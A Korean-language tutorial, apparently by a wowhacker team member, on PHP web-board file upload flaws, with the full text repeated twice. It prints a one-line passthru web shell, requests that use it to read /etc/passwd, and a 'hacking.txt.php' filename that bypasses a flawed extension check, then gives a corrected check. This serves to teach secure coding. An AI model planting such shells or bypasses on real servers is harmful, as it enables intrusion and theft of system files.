/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
4)
이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
때문이다.
첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.
예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.
hacking.php
<?
passthru($beist);
?>
cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.
[요청]
http://server/hacking.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin ................................
cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)
예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.
write_ok.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6
7 if($check[1]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
/* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
$check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
file 로 간주하고 스크립트 실행을 중지시켜 버린다.
만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
올바르게 저장이 될 것이다. */
하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.
[요청]
http://server/data/hacking.txt.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin ................................
php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
가정하에 설명하였다.
해결 방법을 알아보자.
여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
올바르게 갱신된 소스를 살펴보자.
write_ok2.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6 $point=count($check)-1;
7 if($check[$point]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
$point 를 주어 맨 마지막 배열을 검사하도록 하였다.
결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
있다.
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
4)
이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
때문이다.
첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.
예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.
hacking.php
<?
passthru($beist);
?>
cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.
[요청]
http://server/hacking.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin ................................
cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)
예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.
write_ok.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6
7 if($check[1]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
/* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
$check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
file 로 간주하고 스크립트 실행을 중지시켜 버린다.
만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
올바르게 저장이 될 것이다. */
하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.
[요청]
http://server/data/hacking.txt.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin ................................
php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
가정하에 설명하였다.
해결 방법을 알아보자.
여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
올바르게 갱신된 소스를 살펴보자.
write_ok2.php
1 <?
2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6 $point=count($check)-1;
7 if($check[$point]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>
추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
$point 를 주어 맨 마지막 배열을 검사하도록 하였다.
결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
있다.